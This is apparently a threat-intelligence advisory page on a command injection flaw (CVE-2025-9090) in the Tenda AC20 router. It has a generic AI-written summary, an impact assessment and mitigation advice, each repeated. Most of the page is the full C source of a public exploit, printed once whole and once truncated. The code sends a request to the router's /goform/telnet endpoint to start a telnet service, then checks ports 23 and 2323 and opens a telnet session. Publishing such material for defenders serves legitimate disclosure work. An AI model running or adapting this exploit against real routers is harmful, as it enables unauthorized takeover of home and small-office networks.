Tenda AC20 16.03.08.12 - Command Injection
Tenda AC20 16.03.08.12 - Command Injection
AI Analysis
Technical Summary
The Tenda AC20 router running firmware version 16.03.08.12 is vulnerable to a command injection exploit. Command injection vulnerabilities occur when an attacker is able to execute arbitrary system commands on the underlying operating system via unsanitized input fields or parameters in the device's web interface or network services. In this case, the vulnerability allows remote attackers to inject and execute commands on the router without authentication, potentially gaining control over the device. The exploit code is publicly available and written in C, indicating that it likely interacts directly with the device's network services or web interface to send crafted payloads that trigger the injection. Since routers like the Tenda AC20 are critical network infrastructure devices, successful exploitation can lead to full compromise of the router, enabling attackers to intercept, modify, or redirect network traffic, launch further attacks on internal networks, or use the device as a foothold for persistent access. The lack of available patches or mitigations at this time increases the risk. Although no known exploits are reported in the wild yet, the presence of public exploit code significantly raises the likelihood of exploitation attempts in the near future.
Potential Impact
For European organizations, exploitation of this vulnerability could have severe consequences. The Tenda AC20 is a popular consumer and small office/home office (SOHO) router model, often used in small businesses and home environments that may not have dedicated IT security teams. Compromise of these routers can lead to interception of sensitive communications, unauthorized access to internal networks, and potential lateral movement to other connected devices. This can result in data breaches, disruption of business operations, and exposure of confidential information. Additionally, compromised routers can be enlisted into botnets for distributed denial of service (DDoS) attacks or other malicious activities, potentially implicating the victim organization. Given the remote exploitability without authentication, attackers can target vulnerable devices over the internet, increasing the attack surface for European entities relying on these routers.
Mitigation Recommendations
Immediate mitigation steps include isolating Tenda AC20 routers from direct internet exposure by placing them behind additional firewalls or VPNs. Network administrators should monitor network traffic for unusual activity indicative of exploitation attempts. Since no official patches are currently available, users should consider replacing vulnerable devices with models from vendors that provide timely security updates. Disabling remote management features and restricting access to the router's administrative interface to trusted internal networks can reduce risk. Implementing network segmentation to limit the impact of a compromised router and employing intrusion detection/prevention systems to detect command injection patterns are also recommended. Regularly checking vendor advisories for firmware updates and applying them promptly once available is critical. Finally, educating users about the risks and signs of router compromise can aid in early detection and response.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: /* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-9090 * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. * target endpoint : /goform/telnet * place in service : http://<IP> * full format target url : http://<IP>/goform/telnet * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (Sleep + full url + libcurl function) * 3. Send POST request via CURL * 4. Measure response: HTTP code, telnet access (23), error word (not found) * 5. Determine success & finalize exploit */ #include <stdio.h> #include "argparse.h" #include <stdlib.h> #include <string.h> #include <curl/curl.h> #include <arpa/inet.h> #include <time.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <errno.h> #define MAX_RESPONSE (50 * 1024 * 1024) #define URL 2400 #define BUFFER 4500 const char *ipT = NULL; const char *cookies = NULL; int loopF = 0; int verbose = 0; int fileCookies = 0; void exit64bit() { fflush(NULL); __asm__ volatile ( "syscall\n\t" : : "A"(0x3C), "D"(0) : "rcx", "r11", "memory" ); fflush(NULL); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { if (!userdata) { return 0; } if (size && nmemb > SIZE_MAX / size) { fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n"); return 0; } size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) { fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n"); return 0; } char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exit64bit(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l) { printf("\e[0;33m[+] Clean Headers...\e[0m\n"); if (h != NULL) { curl_slist_free_all(h); } if (c != NULL) { curl_easy_cleanup(c); } printf("\e[0;33m[+] Clean CURL...\e[0m\n"); if (r != NULL) { free(r); r = NULL; l = 0; } printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n"); printf("\e[0;31m[+] Exit ....\n"); } int sleepSocket() { static int current = 2; int timeout = current; printf("\e[0;34m[+] Timeout Socket : %d\n", timeout); current++; if (current > 6) { current = 2; } return timeout; } int connectionTelnet(const char *ip) { int ports[] = { 23, 2323 }; int num_ports = sizeof(ports) / sizeof(ports[0]); for (int i = 0; i < num_ports; i++) { printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]); printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]); int s; char buffer[BUFFER]; struct sockaddr_in server; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("\e[0;31m[-] Error Create Socket !\e[0m\n"); return -1; } server.sin_addr.s_addr = inet_addr(ip); server.sin_family = AF_INET; server.sin_port = htons(ports[i]); struct timeval timeout; int value3 = sleepSocket(); timeout.tv_sec = value3; timeout.tv_usec = 0; if (setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)) < 0) { perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n"); exit64bit(); } printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n"); if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n"); close(s); continue; } printf("[+] Connection Success in server.\e[0m\n"); char banner[256]; int n = recv(s, banner, sizeof(banner)-1, 0); if (n > 0) { banner[n] = '\0'; printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner); } close(s); if (verbose) { printf("\e[0;33m[+] Close Socket...\e[0m\n"); } return ports[i]; } return -1; } int systemCommand(const char *ip) { pid_t pid; printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid()); pid = fork(); if (pid < 0) { fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n"); return 1; } else if (pid == 0) { int access[] = {23, 2323, 80}; int numberAccess = sizeof(access) / sizeof(access[0]); for (int a = 0; a < numberAccess ; a++) { printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid()); printf("\e[0;34m[+] sys_execve syscall...\e[0m\n"); char ipS[90]; int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip); if (checkLen(lenIp,ipS,sizeof(ipS)) == 1) { printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n", lenIp); exit64bit(); } char portsA[40]; int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]); if (checkLen(lenA,portsA,sizeof(portsA)) == 1) { printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n", lenA); exit64bit(); } const char *c = "/usr/bin/telnet"; char *const argv[] = { "telnet", ipS, portsA, NULL }; const char *envp[] = {NULL}; __asm__ volatile ( "mov $59, %%rax\n\t" "mov %[command], %%rdi\n\t" "mov %[v], %%rsi\n\t" "mov %[e], %%rdx\n\t" "syscall\n\t" : : [command] "r"(c), [v] "r"(argv), [e] "r" (envp) :"rax", "rdi", "rsi" , "rdx" ); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } } else { waitpid(pid, NULL, 0); printf("\e[0;36m[+] Child process finished.\e[0m\n"); } return 0; } void endPoint(const char *ip) { CURL *curl = curl_easy_init(); struct Mem response ; response.buffer = NULL; response.len = 0; struct curl_slist *headers = NULL; if (response.buffer == NULL && response.len == 0) { if (verbose) { printf("\e[0;35m==============================\e[0m\n"); printf("\e[0;34m[+] Clean Response...\e[0m\n"); printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n"); printf("\e[0;34m[+] Response len is 0.\e[0m\n"); printf("\e[0;34m[+] Clean Success.\e[0m\n"); printf("\e[0;35m==============================\e[0m\n"); } } else if (response.buffer != NULL && response.len != 0) { if (verbose) { printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n"); printf("\e[0;31m[-] Clean Failed.\e[0m\n"); } } if (!curl) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exit64bit(); } CURLcode code; if (curl) { char full[URL]; int len = snprintf(full, URL, "http://%s/goform/telnet",ip); if (checkLen(len,full,URL) == 1) { printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } printf("\e[0;34m[+] Write Success IP in FULL url.\n"); printf("\e[0;32m[+] Len Full url : %d\n", len); printf("\e[0;37m[+] Target IP Address : %s\n", ip); printf("\e[0;37m[+] FULL URL : %s\n", full); if (verbose) { printf("\e[0;37m[+] Check Range IP ...\n"); } struct in_addr inaddr; if (inet_aton(ip, &inaddr)) { printf("\e[0;36m[+] The address '%s' is valid.\n", ip); } else { printf("\e[0;31m[-] The address '%s' Not valid.\n", ip); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (fileCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); uint64_t raxValue; raxValue = 0xE6; if (verbose) { if (raxValue == 0xE6) { printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue); } else { printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } } struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long reg_r10 asm("r10"); reg_r10 = 0; printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(raxValue), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(reg_r10) : "rcx", "r11", "memory" ); printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret); if (ret == -1) { if (errno == EINTR) { printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); } else { perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n"); } } else { printf("\e[0;34m[+] SLeep Success.\e[0m\n"); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } headers = curl_slist_append(headers, "Accept: text/html"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, ""); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); code = curl_easy_perform(curl); long http_code = 0; if (code == CURLE_OK) { printf("\e[0;36m[+] Request sent successfully.\e[0m\n"); if (verbose) { printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m=======================================================================================================================================\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", http_code); if (http_code >= 200 && http_code < 300) { printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n"); printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m===============================================================================================================================================\e[0m\n"); printf("\e[0;35m[+] Check response server...\e[0m\n"); if (response.buffer) { if (strstr(response.buffer, "load telnetd success") != NULL) { printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n"); printf("\e[0;36m[+] Injected successfully.\e[0m\n"); } } printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n"); printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23); int value = connectionTelnet(ip); printf("\e[0;35m[+] Result Connection : =============================\e[0m\n"); int useCommand = 0; if (value == -1) { printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n"); printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80); useCommand++; goto command; } else if (value != -1) { printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value); printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n"); } command: if (useCommand != 0) { int value2 = systemCommand(ip); if (value2 == 1) { printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n"); } else if (value2 == 0) { printf("\e[0;34m [+] Run command Success.\e[0m\n"); } } printf("\e[0;35m=====================================================\e[0m\n"); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n"); printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n"); if (response.buffer) { response.buffer[response.len] = '\0'; if (strstr(response.buffer, "Not found") != NULL || strstr(response.buffer, "was not found on this server") != NULL) { printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n"); printf("\e[0;31m[-] Not found endpoint !\e[0m\n"); printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n"); } } else { printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n"); } } } else { fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code)); exit64bit(); } } } int main(int argc, const char **argv) { printf( "\e[1;31m" " ▄████▄ ██▒ █▓▓█████ \n" " ▒██▀ ▀█▓██░ █▒▓█ ▀ \n" " ▒▓█ ▄▓██ █▒░▒███ \n" " ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n" " ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-9090\n" " ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n" " ░ ▒ ░ ░░ ░ ░ ░ \n" " ░ ░░ ░ \n" " ░ ░ ░ ░ ░ \n" " ░ ░ \n" "\t \e[1;31m [ Byte Reaper ] \e[0m\n" ); printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ipT, "Enter Target IP"), OPT_STRING('c', "cookies", &cookies, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('f', "loop", &loopF, "Number request (-f 4 = 4 request)"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (ipT == NULL) { printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n"); exit64bit(); } if (cookies != NULL) { fileCookies = 1; } if (verbose) { verbose = 1; } if (loopF != 0) { printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF); for (int n = 0; n <= loopF; n++) { printf("\e[1;35m[+] Another request: =============================================\e[0m\n"); endPoint(ipT); } } endPoint(ipT); return 0; }
Tenda AC20 16.03.08.12 - Command Injection
Description
Tenda AC20 16.03.08.12 - Command Injection
AI-Powered Analysis
Technical Analysis
The Tenda AC20 router running firmware version 16.03.08.12 is vulnerable to a command injection exploit. Command injection vulnerabilities occur when an attacker is able to execute arbitrary system commands on the underlying operating system via unsanitized input fields or parameters in the device's web interface or network services. In this case, the vulnerability allows remote attackers to inject and execute commands on the router without authentication, potentially gaining control over the device. The exploit code is publicly available and written in C, indicating that it likely interacts directly with the device's network services or web interface to send crafted payloads that trigger the injection. Since routers like the Tenda AC20 are critical network infrastructure devices, successful exploitation can lead to full compromise of the router, enabling attackers to intercept, modify, or redirect network traffic, launch further attacks on internal networks, or use the device as a foothold for persistent access. The lack of available patches or mitigations at this time increases the risk. Although no known exploits are reported in the wild yet, the presence of public exploit code significantly raises the likelihood of exploitation attempts in the near future.
Potential Impact
For European organizations, exploitation of this vulnerability could have severe consequences. The Tenda AC20 is a popular consumer and small office/home office (SOHO) router model, often used in small businesses and home environments that may not have dedicated IT security teams. Compromise of these routers can lead to interception of sensitive communications, unauthorized access to internal networks, and potential lateral movement to other connected devices. This can result in data breaches, disruption of business operations, and exposure of confidential information. Additionally, compromised routers can be enlisted into botnets for distributed denial of service (DDoS) attacks or other malicious activities, potentially implicating the victim organization. Given the remote exploitability without authentication, attackers can target vulnerable devices over the internet, increasing the attack surface for European entities relying on these routers.
Mitigation Recommendations
Immediate mitigation steps include isolating Tenda AC20 routers from direct internet exposure by placing them behind additional firewalls or VPNs. Network administrators should monitor network traffic for unusual activity indicative of exploitation attempts. Since no official patches are currently available, users should consider replacing vulnerable devices with models from vendors that provide timely security updates. Disabling remote management features and restricting access to the router's administrative interface to trusted internal networks can reduce risk. Implementing network segmentation to limit the impact of a compromised router and employing intrusion detection/prevention systems to detect command injection patterns are also recommended. Regularly checking vendor advisories for firmware updates and applying them promptly once available is critical. Finally, educating users about the risks and signs of router compromise can aid in early detection and response.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52418
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Tenda AC20 16.03.08.12 - Command Injection
/* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-9090 * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. * target endpoint : /goform/telnet * place in service : http://<IP> * full format target url : http://<IP>/goform/telnet * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (Sleep
... (17643 more characters)
Threat ID: 68a3d92dad5a09ad00eed6fc
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 8/27/2025, 1:26:50 AM
Last updated: 9/2/2025, 1:16:34 AM
Views: 34
Related Threats
MobSF Security Testing Tool Vulnerability Let Attackers Upload Malicious Files
CriticalSilver Fox APT Exploits Signed Windows Driver to Deliver ValleyRAT Malware
HighResearchers Show Hidden Commands in Images Exploit AI Chatbots and Steal Data
HighZERO-DAY ALERT: Automated Discovery of Critical CWMP Stack Overflow in TP-Link Routers
CriticalWhatsApp 0-Day Exploited in Attacks on Targeted iOS and macOS Users
HighActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.